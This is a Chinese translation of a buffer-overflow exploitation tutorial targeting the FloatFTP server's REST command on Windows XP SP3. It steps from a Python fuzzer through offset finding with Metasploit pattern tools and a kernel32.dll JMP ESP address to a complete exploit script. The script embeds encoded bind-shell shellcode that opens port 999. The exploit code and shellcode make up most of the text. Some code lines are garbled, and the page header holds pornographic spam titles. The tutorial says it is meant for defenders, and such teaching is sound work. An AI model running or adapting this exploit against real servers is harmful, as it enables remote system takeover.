国产xxxx99真实实拍_久久不雅视频_高清韩国a级特黄毛片_嗯老师别我我受不了了小说

資訊專欄INFORMATION COLUMN

理解緩沖區(qū)溢出漏洞的利用

neuSnail / 1710人閱讀

摘要:按鍵或是工具欄上的播放符號(hào),讓應(yīng)用程序運(yùn)行。單擊器的工具欄上的,在存在的中查找指令,之后雙擊一個(gè),右鍵單擊搜索,選擇,之后鍵入。

在我第一次不得不處理緩沖區(qū)溢出漏洞時(shí),我真是一竅不通啊!雖然我可以建立網(wǎng)絡(luò)和配置防火墻、代理服務(wù)器,不費(fèi)吹灰之力的入侵檢測(cè)系統(tǒng),但是對(duì)于利用代碼來說,我還是第一次接觸到。然而,正如處理任何復(fù)雜或是困難的概念一樣,最好的辦法就是把它分解成我們了解的多個(gè)部分。

在研究和學(xué)習(xí)教程后,一些概念和工具開始變得不那么令人困惑了,并且逐漸能夠明白一些細(xì)節(jié)了。然后,我開始在實(shí)驗(yàn)室現(xiàn)有已掌握可重建的應(yīng)用程序中,尋找簡(jiǎn)單的緩存漏洞。只有在不斷地實(shí)驗(yàn),各種概念會(huì)一個(gè)個(gè)出現(xiàn)————整個(gè)進(jìn)程,無論是獨(dú)立的部分還是整體————都會(huì)一點(diǎn)點(diǎn)呈現(xiàn)出來。

本教程將會(huì)為防御者描述一些基本概念,包括一個(gè)攻擊者經(jīng)歷漏洞開發(fā)過程需要的工作量和攻擊者將要面對(duì)的編寫惡意代碼攻擊特定漏洞的風(fēng)險(xiǎn)。

如今的攻擊者既有決心也有技術(shù),并且知道對(duì)于負(fù)責(zé)計(jì)算機(jī)和網(wǎng)絡(luò)的人來說什么實(shí)際操作是最關(guān)鍵的,防御者對(duì)敵人的動(dòng)機(jī)和技術(shù)了解的越多,他就越容易制定有效的防御措施。

我要經(jīng)歷幾個(gè)漏洞挖掘的階段才能找到一個(gè)有效漏洞,首先,我們會(huì)fuzz我們的目標(biāo)應(yīng)用程序,通過一個(gè)有趣的方式使它崩潰,通過Immunity?debugger來監(jiān)控崩潰的過程,在Windows系統(tǒng)的內(nèi)存中找到最易受攻擊的溢出的shellcode。隨后,我們將要?jiǎng)?chuàng)造一個(gè)漏洞來傳遞shellcode,從而攻擊遠(yuǎn)程系統(tǒng)。

需要的軟件/設(shè)置

攻擊系統(tǒng):Backtrack Linux(我用的R3)

開發(fā)/受害系統(tǒng):Windows?xp?sp3英文版

Immunity?debugger:安裝在Windows?xp系統(tǒng)上

FloatFTP:我們要利用的應(yīng)用程序

讓我們正式開始吧!

Fuzzing

“Fuzzing”是發(fā)送無效或畸形的、過多的和隨機(jī)的數(shù)據(jù)到計(jì)算機(jī)程序試圖使系統(tǒng)崩潰或出現(xiàn)意想不到現(xiàn)象的測(cè)試手段。Fuzzing用于測(cè)試系統(tǒng)和程序的安全。

雙擊float?FTP來執(zhí)行開始:

通過運(yùn)行cmd提示符來運(yùn)行和監(jiān)聽21端口和鍵入:

  

netstat -an | find "21"

啟動(dòng)Immunity?debugger,單擊“file”,再單擊“attach”,選擇FTP服務(wù)器過程,單擊“attach”。

一旦應(yīng)用程序在調(diào)試器上加載時(shí),調(diào)試器會(huì)處于暫定狀態(tài)。按F9鍵或是Immunity?debugger工具欄上的播放符號(hào),讓應(yīng)用程序運(yùn)行。這個(gè)目標(biāo)應(yīng)用程序?qū)?huì)被調(diào)試器監(jiān)控。

現(xiàn)在我們將開始配置FTP?fuzzer,首先,F(xiàn)uzz應(yīng)用程序來使系統(tǒng)崩潰,然后使用調(diào)試器來采集和分析崩潰數(shù)據(jù)。

下面的代碼是一個(gè)用python腳本語言編寫的簡(jiǎn)單的FTP?fuzzer,當(dāng)執(zhí)行時(shí),fuzzer會(huì)發(fā)送標(biāo)準(zhǔn)的FTP命令“REST”,并且附加越來越多的“A”到每條指令。

#!/usr/bin/python

import socket

# Create an array of buffers, from 20 to 2000, with increments of 20.

buffer=["A"]

counter=20

while len(buffer) <= 30:

        buffer.append("A"*counter)

        counter=counter+100

# Define the FTP commands to be fuzzed

commands=["REST"]

# Run the fuzzing loop

for command in commands:

        for string in buffer:

                print "Fuzzing" + command + " with length:" +str(len(string))

                s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

                connect=s.connect(("10.10.10.32",21)) # Target IP address

                s.recv(1024)

                s.send("USER ftp
") # login user

                s.recv(1024)

                s.send("PASS ftp
") # login password

                s.recv(1024)

                s.send(command + " " + string + "
") # buffer

                s.recv(1024)

                s.send("QUIT
")

                s.close()  

我們可以從例子(http://www.exploit-db.com/exploits/17546/)中知道FTP服務(wù)器的REST命令就是一個(gè)易受攻擊的緩沖區(qū)溢出,F(xiàn)TP的REST功能將會(huì)成為fuzzer的目標(biāo)。

在攻擊系統(tǒng)的桌面上創(chuàng)建一個(gè)文件夾來存放fuzzing和漏洞代碼。使用“CD”到這個(gè)目錄,運(yùn)行“nano?fuzzer.py”。這會(huì)打開一個(gè)空白的nano文本編輯器,復(fù)制和粘貼上面的代碼到文件中。

利用正在系統(tǒng)上運(yùn)行的floatFTP的系統(tǒng)IP地址改變目標(biāo)IP地址,按CTRL+O來保存文件,按CTRL+X來退出nano,接下來,通過鍵入來創(chuàng)建可執(zhí)行文件。

  

chmod 755 fuzzer.py

執(zhí)行“/fuzzer.py”,幾秒鐘后,你能夠看到fuzzer停止了,并且顯示目標(biāo)應(yīng)用程序崩潰。

當(dāng)你在xp系統(tǒng)上看到這個(gè)調(diào)試器,你會(huì)看到Immunity?debugger已經(jīng)捕獲了破壞的數(shù)據(jù)和暫停的應(yīng)用程序。如果你看EIP(擴(kuò)展指令指針)寄存器時(shí),你就會(huì)看到在41次內(nèi)fuzzer緩沖區(qū)覆蓋寄存器,fuzzer緩沖區(qū)也會(huì)涌入ESP(擴(kuò)展堆棧指針)寄存器(00AEFC2C)。我們的首要目的是為了通過CPU執(zhí)行的指令代碼再次控制EIP寄存器,把它設(shè)置成我們所選擇的值。

漏洞挖掘

用nano創(chuàng)建一個(gè)新的文件,輸入下面的代碼。這是挖掘的開始,將文件保存為skeleton.py并執(zhí)行(輸入chmod?755?skeleton.py

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "x41" * 1000

print "
Sending evil buffer..."

s.connect(("10.10.10.32",21))

data = s.recv(1024)

s.send("USER ftp" +"
")

data = s.recv(1024)

s.send("PASS ftp" +"
")

data = s.recv(1024)

s.send("REST" +buffer+"
")

s.close()

在攻擊系統(tǒng)的Linux終端上運(yùn)行skeleton.py。

現(xiàn)在,當(dāng)你在Immunity?debugger上檢查EIP寄存器時(shí),你會(huì)看到緩沖區(qū)代碼0×41414141覆蓋了寄存器,并溢出到了ESP寄存器中。

下一步就是要確定我們要插入代碼的空間到底有多大,到現(xiàn)在為止,我們已經(jīng)使用了一組固定的重復(fù)字符來確定我們的目標(biāo)的內(nèi)存地址。我們現(xiàn)在將要使用metasploit的pattern_create和pattern_offset工具來幫助我們發(fā)現(xiàn)究竟有多大的空間,我們以什么特定的內(nèi)存地址為目標(biāo)。首先,用1000個(gè)字符來生成一個(gè)不重復(fù)的字符串。

使用cd命令到/opt/metasploit/msf3/tools并運(yùn)行:

./pattern\_create.rb 1000?

創(chuàng)建一個(gè)1000字符的字符串,用它來取代以前緩沖架構(gòu)漏洞中的1000個(gè)字符“A”。

注釋掉以前的緩沖區(qū)漏洞,像下面一樣創(chuàng)建一個(gè)新的緩沖線,在雙引號(hào)中為新的緩沖區(qū)。

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#buffer = "x41" * 1000

buffer = "Paste pattern_create buffer here"

print "
Sending evil buffer..."

s.connect(("10.10.10.32",21))

data = s.recv(1024)

s.send("USER ftp" +"
")

data = s.recv(1024)

s.send("PASS ftp" +"
")

data = s.recv(1024)

s.send("REST" +buffer+"
")

s.close() 

在Immunity?debugger下重啟FTP服務(wù)器(單擊“debug”,之后重啟或按CTRL+F2),啟動(dòng)FTP服務(wù)器的架構(gòu)漏洞。按照先前的做法一定崩潰了,但是現(xiàn)在EIP和ESP緩沖區(qū)中有metasploit創(chuàng)建的格式,把這些值復(fù)制下來,我們將用它們來計(jì)算EIP和ESP寄存器的字節(jié)中的差異。

在本例,EIP和ESP的值為:

EIP:?69413269?
ESP:?00AEFC2C?(69413669)

之后,運(yùn)行:

./pattern\_offset.rb 69413269

接著

./pattern\_offset.rb 69413669

輸出告訴我們247個(gè)字節(jié)以后的EIP寄存器開始被緩沖區(qū)覆蓋,這就意味著EIP中248—251字節(jié)是我們想要的目標(biāo)。

CPU通過EIP寄存器中的值知道下一個(gè)要運(yùn)行的指令,在內(nèi)存地址中運(yùn)行這些當(dāng)前的指令,在EIP的內(nèi)存位置中使用JMP?ESP指令使CPU來執(zhí)行指令和跳到ESP寄存器中執(zhí)行駐留在該地址的內(nèi)存中的指令。我們的目的就是在EIP中使用JMP?ESP指令,這樣我們就能控制執(zhí)行命令并把我們的代碼轉(zhuǎn)變到ESP寄存器中。

兩個(gè)寄存器之間有12個(gè)字節(jié),于是我們用8個(gè)字節(jié)來填充我們的緩沖區(qū),縮小間距和連接到ESP寄存器。

我們使用保持1000字節(jié)邊界的框架漏洞來調(diào)整緩沖區(qū):

buffer = "/gx41"*247 + "x42x42x42x42" + "x43"*8 +
"/gx44"*741 z

例如:?[buffer]<>[eip?data]<>[padding]<>[shellcode?placeholder]

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#buffer = x41 * 1000

#buffer = "pattern_create buffer"

buffer = "x41"*247 + "x42x42x42x42" + "x43"*8 + "x44"*741 

print "
Sending evil buffer..."

s.connect(("10.10.10.32",21))

data = s.recv(1024)

s.send("USER ftp" +"
")

data = s.recv(1024)

s.send("PASS ftp" +"
")

data = s.recv(1024)

s.send("REST" +buffer+"
")

s.close()

在Immunity?debugger中重啟FTP服務(wù)器,按播放鍵取消暫停的應(yīng)用程序。

再次運(yùn)行挖掘,然后在Immunity?debugger器中右擊ESP寄存器的窗格選擇“follow?in?dump”。如果一切排列正確的話,EIP寄存器中將會(huì)存儲(chǔ)42424242和DS(x44)將會(huì)在ESP寄存器內(nèi)存地址前面從EIP到ESP的空間中填充8 CS。

很棒。在Immunity?debugger器中,復(fù)制DS的開始到結(jié)束的ESP的內(nèi)存地址。然后打開windows計(jì)算器,轉(zhuǎn)換到16進(jìn)制的模式,把數(shù)值變成10進(jìn)制。

這里是這樣的:

開始:00AEFC2C?=?11467820

結(jié)束:00AEFF0C?=?11468556

用結(jié)束值減去開始值11468556?-?11467820?=?736,我們就知道有736個(gè)字節(jié)來儲(chǔ)存代碼。

現(xiàn)在,我們有了目標(biāo)內(nèi)存地址和指令,我們需要一種方法獲得從EIP寄存器到ESP寄存器的指令,為了做到這一點(diǎn),我們可以在windows操作系統(tǒng)的DLL中使用現(xiàn)有的JMP?ESP指令。

單擊Immunity?debugger器的工具欄上的“e”,在存在的windows?dll中查找JMP?ESP指令,之后雙擊一個(gè)DLL,右鍵單擊“搜索”,選擇“command”,之后鍵入“JMP?ESP”。

我們?cè)趙indows系統(tǒng)文件kernel32.dll系統(tǒng)文件中發(fā)現(xiàn)了我們要找的指令,然后記下JMP?ESP的內(nèi)存地址。在本例中,是7C86467B,注意,如果你正在使用任何其他操作系統(tǒng),而不是32位的windows?xp?sp3英文版,這個(gè)指令駐留在不同的位置。你要是用的是其他系統(tǒng),在另外的DLL中查找JMP?ESP指令,在剩下的教程中改變內(nèi)存地址。

我們用一個(gè)新的緩沖區(qū)來更新我們的骨架漏洞,注釋掉最后的一個(gè)緩沖區(qū)聲明,用下面的代碼替代它:

buffer = "/gx41"*247 + "x7Bx46x86x7C" + "x42"*8 +
"/gxCC"*741

因?yàn)樾∥矓?shù)CPU架構(gòu),JMP?ESP的地址必須在緩沖區(qū)中向后格式化,所以7C86467B變成了x7Bx46x86x7C。我們也要增加8Bs作為填充("x43"*8)和改變最后一個(gè)值為xCC*741?(742?CC"s),這將會(huì)作為我們的代碼的占位。一切正常,CCs應(yīng)該在我們的目標(biāo)ESP內(nèi)存地址的開始,00AEFC2C,我們應(yīng)該在EIP寄存器中找到我們的JMP?ESP指令(7C86467B)。

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#buffer = x41 * 1000

#buffer = "pattern_create buffer"

#buffer = "x41"*247 + "x44x44x44x44" + "x43"*8 + "x44"*741 

# Windows XP SP3 kernel32.dll  JMP ESP

buffer = "x41"*247 + "x7Bx46x86x7C" + "x42"*8 + "xCC"*741

print "
Sending evil buffer..."

s.connect(("10.10.10.32",21))

data = s.recv(1024)

s.send("USER ftp" +"
")

data = s.recv(1024)

s.send("PASS ftp" +"
")

data = s.recv(1024)

s.send("REST" +buffer+"
")

s.close()

在Immunity?debugger器中單擊“debug”之后“restar”來重啟FTPsever.exe,不要忘記按F9或是在調(diào)試器中單擊播放按鈕來取消暫停的應(yīng)用程序。

在Immunity?debugger器工具欄單擊箭頭指向的三個(gè)點(diǎn),進(jìn)入JMP?ESP內(nèi)存所在的位置:7C86467B(在這個(gè)例子中),單擊“OK”,然后按下F2在調(diào)試中設(shè)置斷點(diǎn)。當(dāng)訪問JMP?ESP地址時(shí),調(diào)試將會(huì)暫定,讓我們來查看寄存器和驗(yàn)證我們的目標(biāo)EIP和ESP的正確性。

再次運(yùn)行漏洞,并在調(diào)試器中查看輸出,這看起來應(yīng)該和下面的類似:

EIP中包含JMP?ESP的目標(biāo)地址(7C86467B)和我們的CCs在ESP(00AEFC2C)開始。現(xiàn)在,我們控制執(zhí)行命令,剩下的就是用shellcode替換掉占位的CCs。

shellcode和漏洞

我們將使用metasploit的msfpayload來創(chuàng)建payload。有一點(diǎn)要注意:因?yàn)槲覀儌鬟f的都是字符串,我們必須要遵守字符限制的FTP協(xié)議。這就意味著沒有空,返回,換行,或是@符號(hào),他們用16進(jìn)制的表示為x00,?x0d,?x0a,?0×40。"x40xffx3dx20"可以阻止shellcode執(zhí)行。

下面是用msfpayload命令創(chuàng)建的shellcode,當(dāng)在目標(biāo)系統(tǒng)中被執(zhí)行時(shí),TCP999端口將會(huì)被打開。Msfencode語句確保在shellcode中沒有壞的字符能阻止上面的執(zhí)行。

msfpayload windowsgshell\_bind\_tcp EXITFUNC=seh LPORT=999 R |
msfencode -b "/gx40x0Ax00x0Dxffx0dx3dx20"

這個(gè)結(jié)果是一個(gè)386字節(jié)的payload:

[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)

buf = 

"xbax2ex27xc2x55xdbxdcxd9x74x24xf4x5fx2bxc9" +

"xb1x56x31x57x13x83xefxfcx03x57x21xc5x37xa9" +

"xd5x80xb8x52x25xf3x31xb7x14x21x25xb3x04xf5" +

"x2dx91xa4x7ex63x02x3fxf2xacx25x88xb9x8ax08" +

"x09x0cx13xc6xc9x0exefx15x1dxf1xcexd5x50xf0" +

"x17x0bx9axa0xc0x47x08x55x64x15x90x54xaax11" +

"xa8x2excfxe6x5cx85xcex36xccx92x99xaex67xfc" +

"x39xcexa4x1ex05x99xc1xd5xfdx18x03x24xfdx2a" +

"x6bxebxc0x82x66xf5x05x24x98x80x7dx56x25x93" +

"x45x24xf1x16x58x8ex72x80xb8x2ex57x57x4ax3c" +

"x1cx13x14x21xa3xf0x2ex5dx28xf7xe0xd7x6axdc" +

"x24xb3x29x7dx7cx19x9cx82x9exc5x41x27xd4xe4" +

"x96x51xb7x60x5bx6cx48x71xf3xe7x3bx43x5cx5c" +

"xd4xefx15x7ax23x0fx0cx3axbbxeexaex3bx95x34" +

"xfax6bx8dx9dx82xe7x4dx21x57xa7x1dx8dx07x08" +

"xcex6dxf7xe0x04x62x28x10x27xa8x5fx16xe9x88" +

"x0cxf1x08x2fxb1xe6x84xc9xdfxf8xc0x42x77x3b" +

"x37x5bxe0x44x1dxf7xb9xd2x29x11x7dxdcxa9x37" +

"x2ex71x01xd0xa4x99x96xc1xbbxb7xbex88x84x50" +

"x34xe5x47xc0x49x2cx3fx61xdbxabxbfxecxc0x63" +

"xe8xb9x37x7ax7cx54x61xd4x62xa5xf7x1fx26x72" +

"xc4x9exa7xf7x70x85xb7xc1x79x81xe3x9dx2fx5f" +

"x5dx58x86x11x37x32x75xf8xdfxc3xb5x3bx99xcb" +

"x93xcdx45x7dx4ax88x7axb2x1ax1cx03xaexbaxe3" +

"xdex6axc4x12xd2x66x51x8dx87xcax3fx2ex72x08" +

"x46xadx76xf1xbdxadxf3xf4xfax69xe8x84x93x1f" +

"x0ex3ax93x35"

注釋掉前面緩沖區(qū)聲明和添加新的修改聲明:

buffer = "x41"*247 + "x7Bx46x86x7C" + "x42"*8 +
shellcode + "xCC"*373

在處理shellcode運(yùn)行的問題,雙重檢查所有參數(shù)包括“壞字符”之后,我就決定添加NOP指令到緩沖區(qū)在shellcode之前。在計(jì)算機(jī)的CPU中,一個(gè)NOP?slide是一系列的NOP(無操作)指令(操作碼0×90),這就意味著“滑動(dòng)”CPU的指令執(zhí)行流程到它的最終目標(biāo)。當(dāng)一切在一個(gè)漏洞中正常排列,NOP指令是有利的,但是shellcode執(zhí)行失敗。

我又一次修改緩沖區(qū)在shellcode前添加了16個(gè)NOP:

buffer = "/gx41"*247 + "x7Bx46x86x7C" + "x42"*8 +
"/gx90"*16 + shellcode + "xCC"*357

例如:?[buffer]<>[EIP?-?JMP?ESP]<>[EIP?to?ESP?padding]<>[NOPs]<>[shellcode]<>[Padding]

最終完整的漏洞:

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#buffer = "x41" * 1000

#buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

#buffer = "x41"*247 + "x42x42x42x42" + "x43"*8 + "x44"*741

## msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=999 R | msfencode -b "x40x0Ax00x0D" 368 bytes

shellcode = ("xbax2ex27xc2x55xdbxdcxd9x74x24xf4x5fx2bxc9"

"xb1x56x31x57x13x83xefxfcx03x57x21xc5x37xa9"

"xd5x80xb8x52x25xf3x31xb7x14x21x25xb3x04xf5"

"x2dx91xa4x7ex63x02x3fxf2xacx25x88xb9x8ax08"

"x09x0cx13xc6xc9x0exefx15x1dxf1xcexd5x50xf0"

"x17x0bx9axa0xc0x47x08x55x64x15x90x54xaax11"

"xa8x2excfxe6x5cx85xcex36xccx92x99xaex67xfc"

"x39xcexa4x1ex05x99xc1xd5xfdx18x03x24xfdx2a"

"x6bxebxc0x82x66xf5x05x24x98x80x7dx56x25x93"

"x45x24xf1x16x58x8ex72x80xb8x2ex57x57x4ax3c"

"x1cx13x14x21xa3xf0x2ex5dx28xf7xe0xd7x6axdc"

"x24xb3x29x7dx7cx19x9cx82x9exc5x41x27xd4xe4"

"x96x51xb7x60x5bx6cx48x71xf3xe7x3bx43x5cx5c"

"xd4xefx15x7ax23x0fx0cx3axbbxeexaex3bx95x34"

"xfax6bx8dx9dx82xe7x4dx21x57xa7x1dx8dx07x08"

"xcex6dxf7xe0x04x62x28x10x27xa8x5fx16xe9x88"

"x0cxf1x08x2fxb1xe6x84xc9xdfxf8xc0x42x77x3b"

"x37x5bxe0x44x1dxf7xb9xd2x29x11x7dxdcxa9x37"

"x2ex71x01xd0xa4x99x96xc1xbbxb7xbex88x84x50"

"x34xe5x47xc0x49x2cx3fx61xdbxabxbfxecxc0x63"

"xe8xb9x37x7ax7cx54x61xd4x62xa5xf7x1fx26x72"

"xc4x9exa7xf7x70x85xb7xc1x79x81xe3x9dx2fx5f"

"x5dx58x86x11x37x32x75xf8xdfxc3xb5x3bx99xcb"

"x93xcdx45x7dx4ax88x7axb2x1ax1cx03xaexbaxe3"

"xdex6axc4x12xd2x66x51x8dx87xcax3fx2ex72x08"

"x46xadx76xf1xbdxadxf3xf4xfax69xe8x84x93x1f"

"x0ex3ax93x35")

## Windows XP SP3 kernel32.dll 7C86467B JMP ESP

#buffer = "x41"*247 + "x7Bx46x86x7C" + "x42"*8 + "xCC"*741

buffer = "x41"*247 + "x7Bx46x86x7C" + "x42"*8 + "x90"*16 + shellcode + "xCC"*357

print "
Sending evil buffer..."

s.connect(("10.10.10.32",21))

data = s.recv(1024)

s.send("USER ftp" +"
")

data = s.recv(1024)

s.send("PASS ftp" +"
")

data = s.recv(1024)

s.send("REST" +buffer+"
")

s.close()

關(guān)閉XP系統(tǒng)上的調(diào)試器,重新啟動(dòng)FloatFTP。在攻擊系統(tǒng)上啟動(dòng)漏洞攻擊,然后遠(yuǎn)程連接到FTP服務(wù)器的999端口,一起正常,你將會(huì)以一個(gè)管理員的身份(或是任何一個(gè)打開FloatFTP進(jìn)程的)收到一個(gè)shell。

正如你看到的,現(xiàn)在這個(gè)系統(tǒng)已經(jīng)被滲透,并且受攻擊者控制。

原文 Understanding Buffer Overflow Exploits
翻譯 趙陽

文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。

轉(zhuǎn)載請(qǐng)注明本文地址:http://m.specialneedsforspecialkids.com/yun/11083.html

相關(guān)文章

  • CVE-2016-10191 FFmpeg RTMP Heap Buffer Overflow 漏洞

    摘要:二漏洞成因分析在協(xié)議中,最小的發(fā)送數(shù)據(jù)包的單位是一個(gè)。這次漏洞的起因是對(duì)于屬于同一個(gè)的的字段沒有校驗(yàn)前后是否一致,導(dǎo)致寫入堆的時(shí)候緩沖區(qū)溢出。可以部署在堆上,然后在程序中尋找合適的把棧指針遷移到堆上就行了。 作者:棧長(zhǎng)@螞蟻金服巴斯光年安全實(shí)驗(yàn)室 一、前言FFmpeg是一個(gè)著名的處理音視頻的開源項(xiàng)目,使用者眾多。2016年末paulcher發(fā)現(xiàn)FFmpeg三個(gè)堆溢出漏洞分別為CVE-2...

    HmyBmny 評(píng)論0 收藏0

發(fā)表評(píng)論

0條評(píng)論

閱讀需要支付1元查看
<